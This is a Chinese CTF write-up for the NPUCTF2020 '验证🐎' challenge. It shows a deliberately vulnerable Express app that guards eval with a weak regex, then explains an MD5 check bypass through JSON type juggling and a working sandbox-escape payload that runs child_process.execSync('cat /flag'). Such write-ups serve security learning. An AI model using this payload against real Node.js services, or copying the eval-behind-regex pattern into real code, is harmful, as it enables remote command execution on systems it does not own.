0%

[NPUCTF2020]验证🐎

[NPUCTF2020]验证🐎

js题,很有意思,学习了

源码

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
    return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
    name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
    keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
    let result = '';
    const results = req.session.results || [];
    const { e, first, second } = req.body;
    if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
        if (req.body.e) {
            try {
                result = saferEval(e) || 'Wrong Wrong Wrong!!!';
            } catch (e) {
                console.log(e);
                result = 'Wrong Wrong Wrong!!!';
            }
            results.unshift(`${req.body.e}=${result}`);
        }
    } else {
        results.unshift('Not verified!');
    }
    if (results.length > 13) {
        results.pop();
    }
    req.session.results = results;
    res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    req.session.admin = req.session.admin || 0;
    res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

有两层限制,第一层是first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]),需要提交两个长度一致但不全等的数据拼接一个key之后算出的md5完全相等。

其次就是过一个超级正则之后进入eval函数,可以用正则可视化看一下规则,用眼睛看有一点点累
正则规则是允许()+\-*/&|^%<>=,?:这么大一串符号,允许Math.xxxx这样子的任意形式函数调用,以及浮点数科学计数法的数字表示形式,还有空格

题解

md5绕过

一层层来吧,md5这个超级判断使用了加法把数据和key相加,很有可能就是利用弱类型,而源码中的app.use(bodyParser.json());指明了允许在Content-Type是application/json时,可以以json格式解析数据,这样子就能构造出两个数据类型不一致的变量了,提交{“e”: “1+1”, first”: “1”, “second”: [1]},一个是字符串一个是数组,和字符串做加法的时候数组转换成字符串,就得到了两个一样的值进行比较,成功绕过

一开始提交了一个数字1和一个字符串1,绕不过去,后来试了一下发现原来是数字类型没有length属性,所以first.length === second.length这个条件绕不过去

正则执行命令

真不会,看的神仙payload,缩进一下

(Math=>
        (Math=Math.constructor,
                Math.x=Math.constructor(
                    Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                        99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                        46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                        95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                        121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
        )
)(Math+1)

需要本地测试几下看看都发生了什么
最里层的Math.fromCharCode返回值是”return process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString()”

那么原payload变为

(Math=>
        (Math=Math.constructor,
                Math.x=Math.constructor("return process.mainModule.require('child_process').execSync('cat /flag').toString()")()
        )
)(Math+1)

最外层是一个箭头函数和自调用函数,因为题目的限制,通过传入Math+1获取到了一个字符串对象,然后访问这个字符串对象的constructor,获取string类的原型,再获取string类原型的原型,得到了function类原型,然后用”return process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString()”创建出了一个匿名函数,并且也进行了自调用,完成了命令执行
同时也解释了为什么之前可以用Math去调用String的fromCharCode方法,因为原型的获取,我们获得了String和Function两个原型,String将数字转换为字符串,而Function将我们获得的字符串作为函数执行,再通过自调用函数这个语法,将函数创建之后即调用,完成了命令执行

>a = Math + "1"
<"[object Math]1"
>typeof a
<"string"
>a.constructor
<ƒ String() { [native code] }
>a.constructor.constructor
<ƒ Function() { [native code] }

参考链接

讲的不一定清楚,可以参考一下这个wp
http://wh1sper.cn/npuctf2020_wp/